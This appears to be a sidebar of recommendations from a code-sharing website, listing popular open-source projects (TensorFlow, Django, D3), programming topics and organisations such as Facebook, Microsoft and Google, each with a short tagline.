  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.